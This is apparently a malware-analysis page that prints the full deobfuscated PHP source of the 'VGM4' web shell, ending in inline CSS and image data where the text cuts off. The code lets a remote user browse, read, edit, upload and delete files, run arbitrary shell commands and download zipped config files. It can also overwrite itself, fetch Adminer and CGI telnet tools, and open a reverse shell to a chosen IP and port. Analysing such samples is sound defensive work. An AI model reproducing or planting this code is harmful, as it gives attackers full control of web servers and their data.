PHP Malware Analysis

vgm4.php

md5: 2aaa376ed3fbc93cacec8a0066f8fac0

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<?php

eval /* PHPDeobfuscator eval output */ {
    /*
        * VGM4 Webshell v1.0
        * PHP & Javascript based web shell
        * Authored : VGM4
    
         DISCLAIMER
    
         - This script has few of abilities on a web server,some of them might be harmful
           If you are decided to use this script,you have to know that script's author does not takes any responsibility on any harmful use
    */
    @session_start();
    @ob_start();
    @ini_set('max_execution_time', 0);
    @ini_set('safe_mode', 'Off');
    @ini_set('disable_functions', ' ');
    error_reporting("E_XBJ");
    $helpers = new helpers();
    if ($_POST) {
        header("Content-type: application/json");
        if (isset($_POST['list_dir'])) {
            $list = $helpers->list_dir(base64_decode($_POST['list_dir']));
            if ($list === false) {
                $output['status'] = 'no_dir';
                exit(json_encode($output));
            }
            exit(json_encode($list));
        } elseif (isset($_POST['remove_file'])) {
            $remove = $helpers->remove_file(base64_decode($_POST['remove_file']));
            if ($remove) {
                $output['status'] = 'removed';
            } else {
                $output['status'] = 'failed';
            }
            exit(json_encode($output));
        } elseif (isset($_POST['chmod_target']) && isset($_POST['chmod'])) {
            $setchmod = $helpers->set_chmod(base64_decode($_POST['chmod_target']), base64_decode($_POST['chmod']));
            if ($setchmod) {
                $output['status'] = 'ok';
            } else {
                $output['status'] = 'failed';
            }
            exit(json_encode($output));
        } elseif (isset($_POST['rename_target']) && isset($_POST['new_name']) && isset($_POST['old_name'])) {
            $rename = $helpers->rename(base64_decode($_POST['rename_target']), $_POST['new_name'], $_POST['old_name']);
            if ($rename) {
                $output['status'] = 'ok';
            } else {
                $output['status'] = 'failed';
            }
            exit(json_encode($output));
        } elseif (isset($_POST['read_file'])) {
            if (is_file(base64_decode($_POST['read_file']))) {
                $pathinfo = pathinfo(base64_decode($_POST['read_file']));
                if (stristr($pathinfo['extension'], 'zip') || stristr($pathinfo['extension'], 'rar') || stristr($pathinfo['extension'], 'tar') || stristr($pathinfo['extension'], 'tar.gz') || stristr($pathinfo['extension'], '7z')) {
                    $output['status'] = 'failed';
                    exit(json_encode($output));
                } elseif (stristr($pathinfo['extension'], 'm4a') || stristr($pathinfo['extension'], 'flac') || stristr($pathinfo['extension'], 'mp3') || stristr($pathinfo['extension'], 'wav') || stristr($pathinfo['extension'], 'aac') || stristr($pathinfo['extension'], 'wma')) {
                    $output['audio'] = base64_decode($_POST['read_file']);
                    $output['type'] = $helpers->getMimeType(base64_decode($_POST['read_file']));
                    exit(json_encode($output));
                } elseif (stristr($pathinfo['extension'], 'mp4') || stristr($pathinfo['extension'], 'avi') || stristr($pathinfo['extension'], 'mov') || stristr($pathinfo['extension'], 'wmv') || stristr($pathinfo['extension'], 'flv') || stristr($pathinfo['extension'], 'avchd') || stristr($pathinfo['extension'], 'mkv') || stristr($pathinfo['extension'], '3gp')) {
                    $output['video'] = base64_decode($_POST['read_file']);
                    $output['type'] = $helpers->getMimeType(base64_decode($_POST['read_file']));
                    exit(json_encode($output));
                }
                $read_file = @file_get_contents(base64_decode($_POST['read_file']));
                if ($read_file !== false) {
                    if (stristr($pathinfo['extension'], 'jpg') || stristr($pathinfo['extension'], 'ico') || stristr($pathinfo['extension'], 'png') || stristr($pathinfo['extension'], 'bmp') || stristr($pathinfo['extension'], 'gif') || stristr($pathinfo['extension'], 'jpeg') || stristr($pathinfo['extension'], 'webp') || stristr($pathinfo['extension'], 'svg')) {
                        $output['data_url'] = 'data: ' . $helpers->getMimeType(base64_decode($_POST['read_file'])) . ';base64,' . base64_encode($read_file);
                    }
                    $output['content'] = base64_encode($read_file);
                } else {
                    $output['status'] = 'failed';
                }
            } else {
                $output['status'] = 'failed';
            }
            exit(json_encode($output));
        } elseif (isset($_POST['edit_file'])) {
            if (isset($_POST['rename'])) {
                if (@rename(base64_decode($_POST['edit_file']), base64_decode($_POST['rename']))) {
                    if (isset($_POST['content'])) {
                        if (@file_put_contents(base64_decode($_POST['rename']), base64_decode($_POST['content']), LOCK_EX)) {
                            $output['status'] = @basename(base64_decode($_POST['rename']));
                            $output['old_name'] = @basename(base64_decode($_POST['edit_file']));
                        } else {
                            $output['status'] = @basename(base64_decode($_POST['rename']));
                            $output['old_name'] = @basename(base64_decode($_POST['edit_file']));
                        }
                    } else {
                        $output['status'] = @basename(base64_decode($_POST['rename']));
                        $output['old_name'] = @basename(base64_decode($_POST['edit_file']));
                    }
                } else {
                    $output['status'] = 'failed';
                }
            } else {
                if (isset($_POST['content'])) {
                    if (@file_put_contents(base64_decode($_POST['edit_file']), base64_decode($_POST['content']), LOCK_EX)) {
                        $output['status'] = 'ok';
                    } else {
                        $output['status'] = 'failed';
                    }
                }
            }
            exit(json_encode($output));
        } elseif (isset($_POST['create_file']) && isset($_POST['directory'])) {
            if (!@file_exists(base64_decode($_POST['directory']) . '/' . base64_decode($_POST['create_file'])) || !@is_dir(base64_decode($_POST['directory']) . '/' . base64_decode($_POST['create_file']))) {
                if (@touch(base64_decode($_POST['directory']) . '/' . base64_decode($_POST['create_file']))) {
                    $output['status'] = 'ok';
                } else {
                    $output['status'] = 'failed';
                }
            } else {
                $output['status'] = 'already_exists';
            }
            exit(json_encode($output));
        } elseif (isset($_POST['create_dir']) && isset($_POST['directory'])) {
            if (!@file_exists(base64_decode($_POST['directory']) . '/' . base64_decode($_POST['create_dir'])) || !@is_dir(base64_decode($_POST['directory']) . '/' . base64_decode($_POST['create_dir']))) {
                if (@mkdir(base64_decode($_POST['directory']) . '/' . base64_decode($_POST['create_dir']))) {
                    $output['status'] = 'ok';
                } else {
                    $output['status'] = 'failed';
                }
            } else {
                $output['status'] = 'already_exists';
            }
            exit(json_encode($output));
        } elseif (isset($_FILES['files']) && isset($_POST['directory'])) {
            foreach ($_FILES['files']['name'] as $key => $name) {
                $upload = $helpers->file_upload($_FILES['files']['tmp_name'][$key], $name, base64_decode($_POST['directory']));
                if ($upload) {
                    $output['status'] = 'ok';
                } else {
                    $output['status'] = 'failed';
                }
            }
            exit(json_encode($output));
        } elseif (isset($_POST['command']) && isset($_POST['directory'])) {
            $cmd = $helpers->run_cmd(base64_decode($_POST['command']), base64_decode($_POST['directory']));
            if ($cmd) {
                $output['status'] = base64_encode($cmd);
            } else {
                $output['status'] = 'failed';
            }
            exit(json_encode($output));
        } elseif (isset($_POST['symlink_target'])) {
            $symlink = $helpers->create_symlink(base64_decode($_POST['symlink_target']));
            if ($symlink) {
                $output['status'] = base64_encode(htmlentities($symlink));
            } else {
                $output['status'] = 'failed';
            }
            exit(json_encode($output));
        } elseif (isset($_POST['search_location']) && isset($_POST['search_keyword']) && isset($_POST['search_type'])) {
            $command = $helpers->run_cmd($helpers->prepare_search_cmd($_POST['search_location'], $_POST['search_keyword'], $_POST['search_type']));
            if ($command) {
                $output['status'] = base64_encode($command);
            } else {
                $output['status'] = 'failed';
            }
            exit(json_encode($output));
        } elseif (isset($_POST['download_cfg'])) {
            $zipAll = $helpers->download_configs(base64_decode($_POST['download_cfg']));
            if ($zipAll == false) {
                $output['status'] = 'failed';
            } else {
                $output['url'] = $zipAll;
            }
            exit(json_encode($output));
        } elseif (isset($_POST['update_content'])) {
            if (@file_put_contents(basename($_SERVER['PHP_SELF']), base64_decode($_POST['update_content']))) {
                $output['status'] = 'ok';
            } else {
                $output['status'] = 'failed';
            }
            exit(json_encode($output));
        } elseif (isset($_POST['getip'])) {
            $client_ip = $helpers->getClientIP();
            if ($client_ip) {
                $output['status'] = $client_ip;
            } else {
                $output['status'] = 'failed';
            }
            exit(json_encode($output));
        } elseif (isset($_POST['rev_ip']) && isset($_POST['rev_port']) && isset($_POST['method'])) {
            $create_shell = $helpers->reverse_shell($_POST['rev_ip'], $_POST['rev_port'], $_POST['method']);
            if ($create_shell) {
                $output['status'] = 'ok';
            } else {
                $output['status'] = 'failed';
            }
            exit(json_encode($output));
        }
        exit;
    }
    if (isset($_GET['download_file'])) {
        $file = base64_decode($_GET['download_file']);
        $download = $helpers->download_file($file);
        if ($download === false) {
            print "<script>window.history.back();</script>;";
        }
        exit;
    } elseif (isset($_GET['adminer'])) {
        $adminer = $helpers->get_adminer();
        if ($adminer) {
            $output['status'] = 'ok';
        } else {
            $output['status'] = 'failed';
        }
        exit(json_encode($output));
    } elseif (isset($_GET['cgitelnet'])) {
        $cgitelnet = $helpers->get_cgitelnet();
        if ($cgitelnet) {
            $output['status'] = 'ok';
        } else {
            $output['status'] = 'failed';
        }
        exit(json_encode($output));
    } elseif (isset($_GET['play_audio'])) {
        $audioPath = $_GET['play_audio'];
        header('Cache-Control: no-cache');
        header('Content-Transfer-Encoding: binary');
        header('Content-Type: audio/mp3');
        header('Content-Length: ' . filesize($audioPath));
        header('Accept-Ranges: bytes');
        readfile($audioPath);
        exit;
    } elseif (isset($_GET['play_video'])) {
        $videoPath = $_GET['play_video'];
        header('Cache-Control: no-cache');
        header('Content-Transfer-Encoding: binary');
        header('Content-Type: video/mp4');
        header('Content-Length: ' . filesize($videoPath));
        header('Accept-Ranges: bytes');
        readfile($videoPath);
        exit;
    } elseif (isset($_GET['download_folder'])) {
        if (is_dir(base64_decode($_GET['download_folder']))) {
            $zip_folder = $helpers->download_as_zip(base64_decode($_GET['download_folder']));
            if ($zip_folder == false) {
                exit;
            } else {
                $download_folder = $helpers->download_file($zip_folder, true);
                if ($download_folder == false) {
                    exit;
                }
                exit;
            }
        } else {
            exit;
        }
        exit;
    } elseif (isset($_GET['download_cfg_file'])) {
        $download_cfg = $helpers->download_file(base64_decode($_GET['download_cfg_file']), true);
        if ($download_cfg == false) {
            exit;
        }
        exit;
    }
    if (!function_exists('posix_getgrgid')) {
        function posix_getgrgid($gid)
        {
            return false;
        }
    }
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style type="text/css">
		@import url(https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta2/css/all.min.css);*{margin:0;padding:0;box-sizing:border-box;font-family:"Sagoe UI",sans-serif;outline:0;list-style:none;text-decoration:none;color:#ff0000;-webkit-font-smoothing:antialiased}body,html{height:100%}body{background:#222831;display:flex;justify-content:center}.holder{margin-top:15px;width:85%;min-width:450px;overflow-x:hidden}.holder::-webkit-scrollbar{width:7px}.holder::-webkit-scrollbar-track{background-color:#e4e4e4;border-radius:50px}.holder::-webkit-scrollbar-thumb{background-color:#222831;border-radius:50px}.mwsbox{overflow-x:hidden;background:#1e1f21;padding:10px 15px;border-radius:10px;box-shadow:-20px 30px 30px -20px rgba(0,0,0,.8);position:relative;width:100%}.mwsbox .bottom-menu{position:absolute;bottom:0;left:50%;transform:translateX(-50%);background:rgba(0,0,0,.75);z-index:999;border-radius:10px 10px 0 0}.mwsbox .bottom-menu ul{display:flex}.mwsbox .bottom-menu ul li{padding:10px 20px;cursor:pointer;display:flex;align-items:center;justify-content:center;border-radius:5px;transition:350ms all}.mwsbox .bottom-menu ul li span{display:none;font-weight:700}.mwsbox .bottom-menu ul li:hover{background:rgba(255,255,255,.5)}.mwsbox .bottom-menu ul li:hover>span{display:block;margin-left:5px}.mwsbox .title{width:100%;padding-bottom:7px;border-bottom:2px solid rgba(255,255,255,.15);margin-bottom:7px;flex-wrap:wrap}.mwsbox .title ul{display:flex;flex-direction:column}.mwsbox .title ul li span{font-weight:700;color:#00ff00;font-size:16px;white-space:nowrap;margin-right:5px}.mwsbox .title ul li{display:flex;align-items:center;font-size:15px;color:rgba(255,255,255,.95)}.mwsbox .title ul li p{word-break:break-all}.mwsbox .title h3{width:100%;background:rgba(34,40,49,.2);text-align:left;margin-bottom:5px;font-size:32px;letter-spacing:3px;font-weight:600;font-weight:500;color:#ff0000;border-radius:5px;padding:5px 0;font-family:"trebuchet ms";text-transform:uppercase}.mwsbox .inner{width:100%;padding:0 10px 5px 0;overflow:auto;max-height:460px;height:460px;}.mwsbox .inner::-webkit-scrollbar{width:7px}.mwsbox .inner::-webkit-scrollbar-track{background-color:#e4e4e4;border-radius:50px}.mwsbox .inner::-webkit-scrollbar-thumb{background-color:#222831;border-radius:50px}.mwsbox .inner table{width:100%;display:none}.mwsbox .inner table thead tr th{border-bottom:1px solid rgba(255,255,255,.08);text-align:right;padding-bottom:10px;font-size:15px;font-weight:600}.mwsbox .inner table tbody tr td{padding:8px 0;border-bottom:1px solid rgba(255,255,255,.02);font-size:14px;font-weight:600;text-align:right}.mwsbox .inner table tbody tr td i{font-size:17px}.mwsbox .inner table tbody tr td:hover span{text-decoration:underline}.mwsbox .inner table tbody tr td span{cursor:pointer}.mwsbox .inner table tbody tr:last-child td{border-bottom:none}.mwsbox .inner table tbody tr td .icons{display:flex;align-items:center;text-align:right;justify-content:flex-end}.mwsbox .inner table tbody tr td .icons i{padding:0 5px;cursor:pointer;display:block}.mwsbox .inner .loaderhold{width:100%;display:flex;align-items:center;justify-content:center}.mwsbox .inner .loaderhold .loader{margin-top:20px;display:none;border:5px solid #f3f3f3;border-top:5px solid #555;border-radius:50%;width:100px;height:100px;animation:spin 1.5s linear infinite}.mwsbox .process-screen{width:calc(75% - 200px);position:absolute;min-width:350px;background:#1a1a1a;border-radius:10px;box-shadow:10px 35px 35px -30px rgba(0,0,0,.8);padding:25px;z-index:9999;top:-50%;left:50%;transform:translate(-50%,-50%);visibility:hidden;max-height:700px;overflow:auto;transition:.2s all;opacity:0}.mwsbox .process-screen::-webkit-scrollbar{width:8px}.mwsbox .process-screen::-webkit-scrollbar-track{background-color:#e4e4e4;border-radius:50px}.mwsbox .process-screen::-webkit-scrollbar-thumb{background-color:gray;border-radius:50px}.mwsbox .process-screen h3{color:#ff0000;font-size:16px;padding-bottom:5px;border-bottom:1px solid #ccc;margin-bottom:10px}.mwsbox .process-screen form{display:flex;flex-direction:column}.mwsbox .process-screen input[type=text]{width:100%;height:45px;padding-left:10px;border:1px solid #aaa;color:#333;background:#ccc}.mwsbox .process-screen input[type=text]:hover{border:1px solid #000}.mwsbox .process-screen input::placeholder{color:gray}.mwsbox .process-screen textarea{width:100%;height:250px;resize:none;padding:5px;border:1px solid #aaa;color:#333;background:#ccc}.mwsbox .process-screen textarea:hover{border:1px solid #000}.mwsbox .process-screen button{width:200px;height:45px;padding:10px;background:#ff0000;color:#fff;border:none;font-weight:700;text-transform:uppercase;font-size:16px;margin-top:10px;cursor:pointer;transition:250ms all}.mwsbox .process-screen button:hover{background:#0078c2}.mwsbox .process-screen label{color:#222;font-weight:600;margin-bottom:5px}.mwsbox .process-screen select{width:100%;height:45px;border:1px solid #aaa;padding-left:10px;color:rgba(0,0,0,.5);background:#ccc}.mwsbox .process-screen select option{color:rgba(0,0,0,.5)}.mwsbox .process-screen .cmd_result{word-break:break-all;width:100%;padding:10px;margin-top:10px;background:#222;border:1px solid rgba(255,255,255,.8);margin-bottom:10px;color:#ff0000;font-weight:700;font-size:14px;max-height:250px;overflow:auto}.mwsbox .process-screen .cmd_result::-webkit-scrollbar{width:8px}.mwsbox .process-screen .cmd_result::-webkit-scrollbar-track{background-color:#ff0000;border-radius:50px}.mwsbox .process-screen .cmd_result::-webkit-scrollbar-thumb{background-color:gray;border-radius:50px}.mwsbox .popup-box{position:absolute;width:300px;min-width:250px;border-radius:5px;padding:10px;font-size:14px;font-weight:700;box-shadow:15px 12px 20px -15px rgba(0,0,0,.9);color:#ff0000;transition:250ms all;right:-9999px;top:10%;opacity:0;visibility:hidden;z-index:50}#path strong{padding-left:2px}#path strong:hover{text-decoration:underline}.popup-box.alert{background:#bd0404}.popup-box.success{background:#029c11}@media only screen and (max-height:900px){.mwsbox{height:800px;width:100%;overflow-x:hidden;}.bottom-menu{top:0;max-height:50px;transform:none}.holder{width:100%}}@media only screen and (max-width:450px){.holder{width:100%;height:100%;overflow-x:hidden;}.bottom-menu{top:0;max-height:50px;transform:none}}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}
    </style>
    <script>
		let working_dir,release="1.0",perl_icon="data:image/png;base64,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",xml_icon="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAABmJLR0QA/wD/AP+gvaeTAAAACXBIWXMAAABIAAAASABGyWs+AAAACXZwQWcAAAAwAAAAMADO7oxXAAANvUlEQVRo3rVafXAc51n/Pe/u7ep0p9Pd6U4+Sz4Zy5btk4XtOo4bB2dqU2wmcWzHzQzFnRKYgTKZQMvApKbtAMOUIf1gYFpaaEqZDsyQsRlI8ChRMglpYEoLgSYhjiF2FFVyakuWdfq4033s7d7u+/DH7a72TlIiKeGd0ejd9+N5n9/z/b4SYY3t6aef1gHoAMRa96ynEZFDRMbJkyftde1by6Lh4WHdsqyHotHofQDUD4ppZg5+1mzb/p6qqiO2bU+eOnVKfmAALl68GI9EIk+cOHHiPgDsSszb73FBRMQBuquOMzMcxyHHcbher1O9XmfTNJHP5+Xo6OhwLBb7gpRy9OTJk+8Jokma++/cQVbdgiMdgAAiYHOmF2MT19Sh3H5NSglyOXf7HoNwx/y+31llnIhARCSEgKqqBADxeFzJZrMPzMzMaLquPzoyMvKeIPxDPnr80M/NLeY/7ThSY5f5xg8hkYiHtv7U1n2bMptSBDCW5huSJgIJIiJXOwCBGuuC2iACgYjdAQLAihB09MADPDi4D8xMr776Ku/evZuvXLnyrKZpj0op3343EL4Gbs/lz5bp1mnvYFJARGBBhGp5hqaujjJdazAOAQj3B9TgTAgCCYDADU4VT+IAmF3EAAlPch4MwuK8gWy2H8lkEgAghKBcLnfyzTfflLqunx8ZGVkVhB9RWLJCnsjdc91fnpY8m3BZgecE3rfLl6uXwBqfpquvlnGYpklSSlJVFUIIisfj1N7eTrlc7pRpml8VQgw8++yz9K4AlhrzkgMyq2qIn/jG8xja+SEGgN/5tS/yL9z/qwyAn/nry/jo3aeZXbai7TH+h6//Jx8YvBsA8xc//W3euXUIzNxY06DK5NFfCkMshGB